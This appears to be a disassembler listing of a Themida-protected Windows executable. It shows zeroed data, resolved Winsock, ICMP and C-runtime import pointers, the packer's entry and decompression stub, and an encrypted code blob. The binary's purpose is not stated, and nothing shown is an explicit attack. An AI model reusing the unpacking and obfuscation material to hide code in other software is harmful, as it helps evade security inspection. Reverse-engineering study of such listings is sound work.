; DATA XREF: sub_40D580+10Fr db 0 byte_4471A1 db 0 ; DATA XREF: sub_40DB10r word_4471A2 dw 0 ; DATA XREF: sub_40DB10+9o dd 44h dup(0) db 3 dup(0) byte_4472B7 db 0 ; DATA XREF: ___:00412ECAo ; ___:00412F7Fo ... db 3 dup(0) byte_4472BB db 0 ; DATA XREF: sub_41F860:loc_41F89Dr align 10h dword_4472C0 dd 12h dup(0) ; sub_40FF60+114o db 0 byte_447309 db 3 dup(0) ; DATA XREF: ___:00408ADEo ; sub_40FF60+159o ... dd 11h dup(0) db 2 dup(0) word_447352 dw 0 ; DATA XREF: ___:00408AB5o ; sub_40FF60+132o dd 6 dup(0) word_44736C dw 0 ; DATA XREF: sub_40FF60+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44739B db 0 ; DATA XREF: ___:00408B07o ; sub_40FF60+17Co ... dd 12h dup(0) dword_4473E4 dd 12h dup(0) ; sub_40FF60+F7o ... db 0 byte_44742D db 3 dup(0) ; DATA XREF: ___:00408A40o ; sub_40FF60+D0o ... dd 23h dup(0) db 3 dup(0) byte_4474BF db 0 ; DATA XREF: ___:00408B30o ; sub_40FF60+19Ao dd 24h dup(0) db 0 byte_447551 db 3 dup(0) ; DATA XREF: sub_425020+2Bo ; sub_425020+37o dd 11h dup(0) db 2 dup(0) word_44759A dw 0 ; DATA XREF: ___:00412E9Ao ; ___:00412EB9o ... dd 3Ch dup(0) db 3 dup(0) dword_44768F dd 0 ; sub_41EF30+154r ... align 4 dd 35h dup(0) db 0 byte_447769 db 0 ; DATA XREF: sub_41B950+18r align 4 dd 36h dup(0) byte_447844 db 0 ; DATA XREF: sub_40FF60+842r align 4 dd 0Bh dup(0) dword_447874 dd 18h dup(0) ; sub_40ED70+97o ... db 2 dup(0) byte_4478D6 db 0 ; DATA XREF: sub_404C70+258r ; sub_41D830+671r align 4 dd 11h dup(0) db 3 dup(0) byte_44791F db 0 ; DATA XREF: sub_404C70:loc_404EE0r ; sub_41D830:loc_41DEB9r dd 0Bh dup(0) db 3 dup(0) byte_44794F db 0 ; DATA XREF: sub_404C70+279o ; sub_41D830+692o ... dd 12h dup(0) dword_447998 dd 2Bh dup(0) ; sub_41EF30+630o ... dword_447A44 dd 0 dd 11h dup(0) db 0 dword_447A8D dd 0 align 4 dd 0D9h dup(0) byte_447DF8 db 0 ; DATA XREF: sub_41EF30+146r ; sub_41EF30+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_448C9E dw 0 ; DATA XREF: sub_404640+1BDo ; sub_404B10+31o ... db 2 dup(0) word_448CA2 dw 0 ; DATA XREF: sub_404B10+4o dd 1Ch dup(0) db 2 dup(0) word_448D16 dw 0 ; DATA XREF: sub_407660+36o ; sub_4076F0+3Eo ... dd 26h dup(0) dword_448DB0 dd 86h dup(0) ; sub_404C70+27Eo ... db 3 dup(0) byte_448FCB db 0 ; DATA XREF: sub_425640+3Bw ; sub_4256B0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_4491CB dd 0 ; sub_4256B0+4Fw ... dword_4491CF dd 0 ; ___:004240BDw ... dword_4491D3 dd 0 ; sub_4256B0+5Dr ... dword_4491D7 dd 0 ; sub_4256B0+8Cr ... dword_4491DB dd 0 ; sub_4256B0+9Dr dword_4491DF dd 0 ; ___:004240F1r ... byte_4491E3 db 0 ; DATA XREF: sub_425640+42w ; sub_4256B0+85w dd 3018h dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_444F40o dd 0EB85h dup(0) dword_49005C dd 1147h dup(0) db 2 dup(0) word_49457A dw 0 ; DATA XREF: sub_580566+24195o ; sub_580566+241A5o dd 9F5Bh dup(0) db 0 byte_4BC2E9 db 3 dup(0) ; DATA XREF: ___:off_402009o dd 6058h dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44433Co dd 6DEh dup(0) db 3 dup(0) dword_4D5FCB dd 0 ; sub_4258E0+13o align 10h dd 39h dup(0) db 0 byte_4D60B5 db 3 dup(0) ; DATA XREF: sub_404C20+1Eo ; sub_404C70+65o ... dd 5 dup(0) byte_4D60CC db 0 ; DATA XREF: sub_404C70+292w ; sub_404C70+4EEw dword_4D60CD dd 0 ; sub_422A40:loc_4231C4r ... align 4 dd 0 db 0 dword_4D60D9 dd 0 ; sub_404C20+2Aw byte_4D60DD db 3 dup(0) ; DATA XREF: ___:00412EF4o ; ___:00412F17o dd 9 dup(0) db 3 dup(0) dword_4D6107 dd 0 ; sub_427AD0:loc_427BC7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D61CB db 0 ; DATA XREF: sub_425870+16o ; sub_4258A0+19o db 3 dup(0) byte_4D61CF db 0 ; DATA XREF: sub_4257A0+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D638F db 0 ; DATA XREF: ___:004081C6o ; ___:00408657o ... dd 8 dup(0) dword_4D63B0 dd 0 dd 51h dup(0) db 0 byte_4D64F9 db 0 ; DATA XREF: sub_426820:loc_4268D0r ; sub_426CE0:loc_426D95r ... align 4 dd 9Eh dup(0) db 0 dword_4D6775 dd 0 ; sub_426CE0+7Dw ... align 4 dd 1EDAh dup(0) db 0 byte_4DE2E5 db 3 dup(0) ; DATA XREF: ___:00419E93o ; sub_419F50+13o dd 1EB9h dup(0) db 3 dup(0) byte_4E5DCF db 0 ; DATA XREF: sub_426A60+1Do dd 21h dup(0) db 0 byte_4E5E55 db 3 dup(0) ; DATA XREF: ___:00419EA3o dd 235h dup(0) db 3 dup(0) byte_4E672F db 0 ; DATA XREF: sub_426A60+2Fo dd 1D5h dup(0) byte_4E6E84 db 0 ; DATA XREF: sub_404C70+299w ; sub_40FF60:loc_40FFA2r ... byte_4E6E85 db 3 dup(0) ; DATA XREF: sub_404C70+235o ; sub_404C70+87Ao ... dd 4 dup(0) db 2 dup(0) word_4E6E9A dw 0 ; DATA XREF: sub_404C70+2D4o ; ___:0040866Bo ... dd 0Fh dup(0) db 0 byte_4E6ED9 db 0 ; DATA XREF: sub_41F860+31w ; sub_41F860+47w ... db 0 byte_4E6EDB db 0 ; DATA XREF: sub_418490+21o ; sub_41D830+341o ... dd 751Eh dup(0) dword_504354 dd 0AC6h dup(0) dword_506E6C dd 1000h dup(0) ; ___:00419A9Do ... dword_50AE6C dd 333h dup(0) ; ___:00419AB8o ... dword_50BB38 dd 0 ; sub_41A010+1Br ... dd 3 dup(0) dword_50BB48 dd 0 ; ___:0041FB3Dw ... dword_50BB4C dd 0 ; sub_41FA90+2Aw ... dword_50BB50 dd 0 dword_50BB54 dd 0 ; ___:0041FB5Bw dword_50BB58 dd 0 dword_50BB5C dd 0 ; ___:0041FB67w ... dword_50BB60 dd 0 ; ___:0041FB6Dw ... dword_50BB64 dd 0 ; ___:00420DA9o dword_50BB68 dd 0 ; sub_41FA90:loc_41FAB4r ... dword_50BB6C dd 0 ; ___:0041FB81w dword_50BB70 dd 0 ; sub_420530+41w ... dword_50BB74 dd 0 ; sub_420530+7Fr dword_50BB78 dd 0 ; sub_420530+92r ... dword_50BB7C dd 0 ; sub_420530+148r dd 3 dup(0) dword_50BB8C dd 0 ; ___:0041C1A5o dword_50BB90 dd 0 ; sub_423720+5r ... dword_50BB94 dd 0 ; ___:00423EB1r ... dd 7CEh dup(0) dword_50DAD0 dd 6 dup(0) ; ___:00423DB2o ... dword_50DAE8 dd 196h dup(0) ; sub_423660+6Do dword_50E140 dd 0 word_50E144 dw 0 ; DATA XREF: sub_424E90+A9r align 4 byte_50E148 db 0 ; DATA XREF: sub_4254E0:loc_425540r ; sub_4254E0+97w align 4 dword_50E14C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_426820+D9r dword_50E150 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_426820+45r dword_50E154 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_426820+54r ... dd 0 dword_50E15C dd 80h dup(0) ; sub_426A60+129o dword_50E35C dd 0 dword_50E360 dd 0 dd 1Dh dup(0) dword_50E3D8 dd 0 ; ___:0042B11Dr ... dword_50E3DC dd 0 ; sub_42CB10:loc_42CBA6r ... dword_50E3E0 dd 0 ; resolved to->WS2_32.connect ; sub_431280+2Dr ... dword_50E3E4 dd 0 dword_50E3E8 dd 0 ; sub_430270r ... dword_50E3EC dd 0 dword_50E3F0 dd 0 ; sub_42F6B0+111w ... dword_50E3F4 dd 0 ; sub_42F6B0+F6r ... dword_50E3F8 dd 0 ; ___:loc_4303B0r dword_50E3FC dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_430FE0+2Cr ... dd 2 dup(0) dd 0 dd 13Dh dup(0) dword_50E900 dd 10h dup(0) ; sub_430180:loc_4301B0o ... dword_50E940 dd 8 dup(0) ; sub_42F540+25o ... dword_50E960 dd 8 dup(0) ; sub_430690+25o ... dword_50E980 dd 8 dup(0) ; sub_431560+84o ... dword_50E9A0 dd 8 dup(0) ; sub_431560+8Bo ... dword_50E9C0 dd 9 dup(0) ; sub_42F6B0:loc_42F7C7o ... dd 0FFFFFFFFh, 3 dup(0) dd 0FFFFFFFFh, 182h dup(0) dd 5 dup(2F06C2B1h), 5 dup(44D568C4h), 5 dup(700B6C69h) dd 5 dup(51A91ACEh), 5 dup(23E451B2h), 5 dup(53DC040Bh) dd 5 dup(62D31A60h), 5 dup(4FECA3FAh), 5 dup(4FD5C522h) dd 5 dup(1C07C897h), 5 dup(31EAC45Ah), 1Eh dup(0) dd 53DC040Bh, 10h dup(0) dd 31EAC45Ah, 58h dup(0) dd 51A91ACEh, 1Bh dup(0) dd 4FD5C522h, 14h dup(0) dd 44D568C4h, 52h dup(0) dd 2F06C2B1h, 1Bh dup(0) dd 1C07C897h, 0Bh dup(0) dd 62D31A60h, 0Ch dup(0) dd 23E451B2h, 2Bh dup(0) dd 4FECA3FAh, 11h dup(0) dd 700B6C69h, 0Ah dup(0) dd 28A073Eh, 28B0000h, 28C0000h dword_50F710 dd 28C1569h dd 28C165Fh dword_50F718 dd 28C189Ah dd 28C1CF4h, 28D0000h dword_50F724 dd 28E0000h dd 28F0000h, 28F03A7h, 28F078Bh, 28F0B97h dword_50F738 dd 2900000h ; sub_40E7A0+25Ar ... dword_50F73C dd 2900521h dword_50F740 dd 290078Ah dd 2900962h, 2900C88h dword_50F74C dd 2910000h ; sub_40ED70+15Er ... dd 291034Eh dword_50F754 dd 2920000h ; sub_40E7A0+22Cr dd 2930000h dword_50F75C dd 29301EBh ; sub_4207E0+285r ... dd 2940000h dword_50F764 dd 2941238h ; sub_40E7A0+24Cr dd 10h dup(0) dd 76F36C5Bh, 0Bh dup(0) dd 2700000h, 2700140h, 2710000h, 271073Fh, 2710981h, 2710C36h dd 2710DB8h, 2720000h, 2720701h, 2720BF8h, 2730000h, 27301ABh dd 27307E1h, 273080Eh, 2730B8Ch, 2740000h, 27403ACh, 274070Fh dd 27408CDh, 2740C28h, 2750000h, 2750639h, 27506D1h, 2750A04h dd 2750CA3h, 2760000h, 2760193h, 276043Ah, 2760661h, 2760845h dd 2760A3Ah, 2760AB6h dword_50F858 dd 2770000h dword_50F85C dd 277073Bh dword_50F860 dd 2770898h dd 7C901005h, 7C9010EDh, 2770AADh, 2770AD5h dword_50F874 dd 2780000h ; sub_420530+FEr dd 278060Fh, 2790000h, 27903D1h, 27906BCh, 27A0000h, 27B0000h dd 27B0836h, 27C0000h, 27D0000h, 27D0782h dword_50F8A0 dd 27E0000h ; sub_420530:loc_42057Cr ... dword_50F8A4 dd 27E08A6h ; sub_40FF60+47r ... dd 27E092Ah, 27E0B0Ch, 27F0000h, 2800000h, 28010B7h, 2810000h dd 2820000h dword_50F8C4 dd 2821766h dd 28218E6h, 2830000h dword_50F8D0 dd 28302E5h ; sub_41B4B0+2Fr ... dd 28304B8h dword_50F8D8 dd 2840000h ; sub_4203D0+2Er ... dd 284044Eh, 2850000h, 2850C46h dword_50F8E8 dd 2860000h dd 2860376h, 2870000h, 2880000h, 288121Fh, 2890000h, 2890218h dd 28908C2h, 2890C63h dd 28A0000h dd 1Ah dup(0) dd 71B2578Ch, 71B25099h, 0Bh dup(0) dword_50F9AC dd 760AC190h dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0) dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h dd 77C3A3DBh, 77C4186Ah dword_50FA60 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42D2C0+53r ... dword_50FA64 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h dword_50FA78 dd 77C5F988h ; resolved to->MSVCRT._pctype; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0C0h, 0C2h, 77h dword_50FA80 dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_50FA84 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42CB10+4Ar ... ; --------------------------------------------------------------------------- imul dh retn ; --------------------------------------------------------------------------- db 77h dd 77C41B72h dword_50FA90 dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_50FA94 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_50FA98 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_50FA9C dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_50FAA0 dd 77C41574h ; resolved to->MSVCRT.ftelldword_50FAA4 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h dword_50FAAC dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C2DAr ; --------------------------------------------------------------------------- adc al, dh retn ; --------------------------------------------------------------------------- db 77h dd 77C40AB1h, 77C4FA10h dword_50FABC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41B950+17Er ... dd 77C371BCh dword_50FAC4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42DFD0+34r ... dd 77C2C407h dword_50FACC dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh dword_50FAD4 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42CB10+90r dword_50FAD8 dd 77C3FA76h ; resolved to->MSVCRT._snprintf db 90h db 0CFh, 0C1h, 77h dword_50FAE0 dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- mul byte ptr [esi] retn 0E777h ; --------------------------------------------------------------------------- db 14h, 0C2h, 77h dd 77C29CC5h dword_50FAF4 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BC90+5Dr dword_50FAF8 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_40FF60+1126r ... dword_50FAFC dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419BDAr dd 77C29CDDh, 77C293C7h dword_50FB08 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422A40+203r ... dd 77C35F0Dh, 77C46170h dword_50FB14 dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C46125h dd 77C46320h dd 19h dup(0) dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0) dd 7CA41110h, 0Bh dup(0) dd 28A03DAh off_50FBF0 dd offset sub_5EDAB2 ; DATA XREF: ___:00419EBDr ; sub_419F50+2Dr ... dd 0Bh dup(0) dword_50FC20 dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB951Eh, 71AB3E00h dword_50FC2C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425020:loc_4250C9r ... dword_50FC30 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42A5F0:loc_42A6ABr dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h dword_50FC44 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AB88D3h dword_50FC50 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42B540+E8r dd 71AB2BC0h dword_50FC58 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_50FC5C dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42A5F0+F9r dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh dd 71AB2A5Eh dword_50FC78 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB2BC0h dword_50FC80 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A6D0+48r ... dword_50FC84 dd 71AC1028h ; resolved to->WS2_32.acceptdword_50FC88 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F860+198r ... dword_50FC8C dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004216E1r ... dword_50FC90 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_427AD0+18Dr ... dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0) dd 76D6AC1Dh, 4C5h dup(0) ___ ends ; Section 2. (virtual address 00111000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00111000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 511000h align 2000h _rsrc___ ends ; Section 3. (virtual address 00112000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00112000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 512000h dd 7C801A24h, 7C81CDDAh, 0 aE db 'Ïe',9,']',0 align 10h dd 112050h, 112000h, 3 dup(0) dd 112079h, 11200Ch, 5 dup(0) aKernel32_dll_1 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 00113000) ; Virtual size : 000FF000 (1044480.) ; Section size in file : 000FF000 (1044480.) ; Offset to raw data for section: 00113000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 513000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 8BF0018h, 40C0Fh, 5EA06h, 158172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 00513265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0057C2CA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0057F81B SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0057FA91 SIZE 00000049 BYTES ; FUNCTION CHUNK AT 0057FAEC SIZE 00000093 BYTES ; FUNCTION CHUNK AT 0057FBB5 SIZE 00000016 BYTES mov eax, 0 pusha or eax, eax jz short loc_513086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_513041 popa jmp short loc_513076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 30h, 51h, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_513041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_51304E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_51306D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_513074 loc_51306D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_51304E ; --------------------------------------------------------------------------- loc_513074: ; CODE XREF: start+57j mov edi, eax loc_513076: ; CODE XREF: start+1Bj jmp loc_513265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 11326Ah add ecx, edi jmp short loc_513090 ; --------------------------------------------------------------------------- loc_513086: ; CODE XREF: start+8j mov eax, offset loc_57C2CA mov ecx, offset word_51326A loc_513090: ; CODE XREF: start+70j push eax push ecx call sub_51311B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_513265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_51311B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_513127: ; CODE XREF: sub_51311B:loc_51313Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_513132: ; CODE XREF: sub_51311B+7Aj ; sub_51311B+C3j ... add dl, dl jnz short loc_51313B mov dl, [esi] inc esi adc dl, dl loc_51313B: ; CODE XREF: sub_51311B+19j jnb short loc_513127 add dl, dl jnz short loc_513146 mov dl, [esi] inc esi adc dl, dl loc_513146: ; CODE XREF: sub_51311B+24j jnb short loc_513197 xor eax, eax add dl, dl jnz short loc_513153 mov dl, [esi] inc esi adc dl, dl loc_513153: ; CODE XREF: sub_51311B+31j jnb loc_513238 add dl, dl jnz short loc_513162 mov dl, [esi] inc esi adc dl, dl loc_513162: ; CODE XREF: sub_51311B+40j adc eax, eax add dl, dl jnz short loc_51316D mov dl, [esi] inc esi adc dl, dl loc_51316D: ; CODE XREF: sub_51311B+4Bj adc eax, eax add dl, dl jnz short loc_513178 mov dl, [esi] inc esi adc dl, dl loc_513178: ; CODE XREF: sub_51311B+56j adc eax, eax add dl, dl jnz short loc_513183 mov dl, [esi] inc esi adc dl, dl loc_513183: ; CODE XREF: sub_51311B+61j adc eax, eax jz short loc_51318D push edi sub edi, eax mov al, [edi] pop edi loc_51318D: ; CODE XREF: sub_51311B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_513132 ; --------------------------------------------------------------------------- loc_513197: ; CODE XREF: sub_51311B:loc_513146j mov eax, 1 loc_51319C: ; CODE XREF: sub_51311B:loc_5131B0j add dl, dl jnz short loc_5131A5 mov dl, [esi] inc esi adc dl, dl loc_5131A5: ; CODE XREF: sub_51311B+83j adc eax, eax add dl, dl jnz short loc_5131B0 mov dl, [esi] inc esi adc dl, dl loc_5131B0: ; CODE XREF: sub_51311B+8Ej jb short loc_51319C sub eax, ebx mov ebx, 1 jnz short loc_5131E3 mov ecx, 1 loc_5131C0: ; CODE XREF: sub_51311B:loc_5131D4j add dl, dl jnz short loc_5131C9 mov dl, [esi] inc esi adc dl, dl loc_5131C9: ; CODE XREF: sub_51311B+A7j adc ecx, ecx add dl, dl jnz short loc_5131D4 mov dl, [esi] inc esi adc dl, dl loc_5131D4: ; CODE XREF: sub_51311B+B2j jb short loc_5131C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_5131E3: ; CODE XREF: sub_51311B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5131F1: ; CODE XREF: sub_51311B:loc_513205j add dl, dl jnz short loc_5131FA mov dl, [esi] inc esi adc dl, dl loc_5131FA: ; CODE XREF: sub_51311B+D8j adc ecx, ecx add dl, dl jnz short loc_513205 mov dl, [esi] inc esi adc dl, dl loc_513205: ; CODE XREF: sub_51311B+E3j jb short loc_5131F1 cmp eax, 7D00h jnb short loc_513228 cmp eax, 500h jb short loc_513223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_513223: ; CODE XREF: sub_51311B+F8j cmp eax, 7Fh ja short loc_51322B loc_513228: ; CODE XREF: sub_51311B+F1j add ecx, 2 loc_51322B: ; CODE XREF: sub_51311B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_513132 ; --------------------------------------------------------------------------- loc_513238: ; CODE XREF: sub_51311B:loc_513153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_513259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_513132 ; --------------------------------------------------------------------------- loc_513259: ; CODE XREF: sub_51311B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_51311B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_513265: ; CODE XREF: start:loc_513076j ; start+9Dj jmp loc_57C2CA ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_51326A dw 38E9h ; DATA XREF: start+77o dd 153354Ch, 4D0A1BFh, 1D13FC2h, 0C77F35C2h, 7C550878h dd 465728B3h, 1BE10311h, 8401F3BFh, 9288AB6Bh, 5F57ECACh dd 0E1033646h, 98F2BE1Eh, 75BC6F29h, 0E10324E6h, 112E3512h dd 71C8EFEFh, 0ABFB43B8h, 43B821C8h, 843B22F2h, 6854C06Fh dd 38696D65h, 0AA466164h, 0E11E33A2h, 52FCEE0Eh, 74736507h dd 41337261h, 0D32E8B70h, 7F08E778h, 0DD080167h, 0C58B0ED7h dd 0E860D443h, 815D4084h, 3355BEDh, 95890613h, 0D3F08B9h dd 3D3422B5h, 83C0E585h, 11CDBD10h, 0C740E70h, 0E245E88Bh dd 0C28588B8h, 44708EF7h, 813E3824h, 456A8030h, 29A3E830h dd 3D749A68h, 0DF280783h, 4B250F0Ah, 0D5480A89h, 214E985h dd 55E8EC2Bh, 83EC8B05h, 0EE60D8C4h, 20EA815Ah, 8B043649h dd 0D845C7DAh, 0E8C088Dh, 81088940h, 80637D7Eh, 3F0F741Dh dd 83920820h, 0FF104CB3h, 0EB314312h, 61DC36E1h, 0C90A26BAh dd 34604C2h, 0FF7CC481h, 22490247h, 458D0092h, 85D8B80h dd 19A285C7h, 8D5025h, 88C3D10Ah, 89544118h, 0BD51810Bh dd 755D0106h, 14274AE3h, 7664BA8Dh, 8A807502h, 48F4BB0Eh dd 7ABB85Bh, 0D3785437h, 80FE6D0h, 0F7754B1Dh, 47C3AF82h dd 314A9246h, 4251F946h, 8A5D61D1h, 0AFF0D003h, 5045EEECh dd 51EB4DFCh, 46E4AD04h, 403E6280h, 849BBAF7h, 7D0C3473h dd 3E7FEB0Ch, 6D6486F8h, 0E26F012h, 4A10F454h, 0F065C10Ah dd 0F801D604h, 0C203E0D1h, 332800CBh, 301C8ADBh, 72E6FB80h dd 390A0A61h, 0EBE90577h, 3F2293F7h, 0DB36114h, 8FB660Ah dd 0C3FA1E7Ah, 10610A75h, 0B72411Ah, 77460A86h, 10F52406h dd 0C3F05D01h, 7D83F4ECh, 0B0720298h, 76C00CD9h, 0AA32A5BBh dd 700EF826h, 0A8508D3Bh, 0FC55053Bh, 4E78820Fh, 0AA0DB0BDh dd 0BA87F238h, 5B90708h, 0BDFC4270h, 0FE0037D8h, 0E49470Fh dd 22B9FA75h, 0BBE06A2Eh, 0F1123101h, 6EEB823Bh, 868EC002h dd 1C1439B6h, 1F655107h, 8AEEA236h, 0E9892677h, 825920F2h dd 0E2E2C7ECh, 0C32C0B06h, 1D13EAh, 0E014CB8Ah, 299B944Ah dd 0A6C56E00h, 22ABC19Fh, 355937F1h, 0F6B65C54h, 34CB8C1Ch dd 39826700h, 1765B4Eh, 51B8100Fh, 0F1D1043Dh, 8746D93Bh dd 2E09755Eh, 20E1156h, 65E4EC48h, 4E800690h, 8E05C584h dd 0D7C99632h, 42A3C53h, 8C0629C2h, 0E7820571h, 98A2DD0Eh dd 77812BFFh, 1D220460h, 0C84C134h, 207533F9h, 0BB833FBCh dd 39EFB30Ah, 419C0230h, 7F8C4CECh, 40FCFFCCh, 52457F86h dd 628060E9h, 4D8C52C4h, 82112504h, 0AB26B1AAh, 13845A68h dd 0D1305645h, 55EE825Eh, 0F20281D4h, 0D58A2792h, 231310B9h dd 47439729h, 4568C6Bh, 725E2188h, 6D8A14C4h, 45339425h dd 21001C08h, 0DAC45646h, 1FDD32Eh, 2C2A84A0h, 31E08C67h dd 0EA088CCCh, 1E62F0Bh, 0D124CC8Eh, 0F84A8480h, 8D0C67F0h dd 2515E9DAh, 0ACDB0028h, 0CC50EECBh, 8500C4E6h, 80363C09h dd 79F845Fh, 676BDFD7h, 5C5BD0BCh, 507E281h, 0FA57B0B4h dd 10CA0B80h, 53406386h, 3EB9C8F6h, 2874218h, 0E4F0EE91h dd 11C339EAh, 0CE952h, 0D3512A0Dh, 0DC21C4E2h, 97122F02h dd 918110D8h, 0EAC45C97h, 6F0FCE0Fh, 565DAF00h, 160107E8h dd 0E77038E1h, 3E49A2F7h, 0AAB41F00h, 636EF88Ah, 8EA1812h dd 7D6A1B00h, 87A4CC0Eh, 9024DF10h, 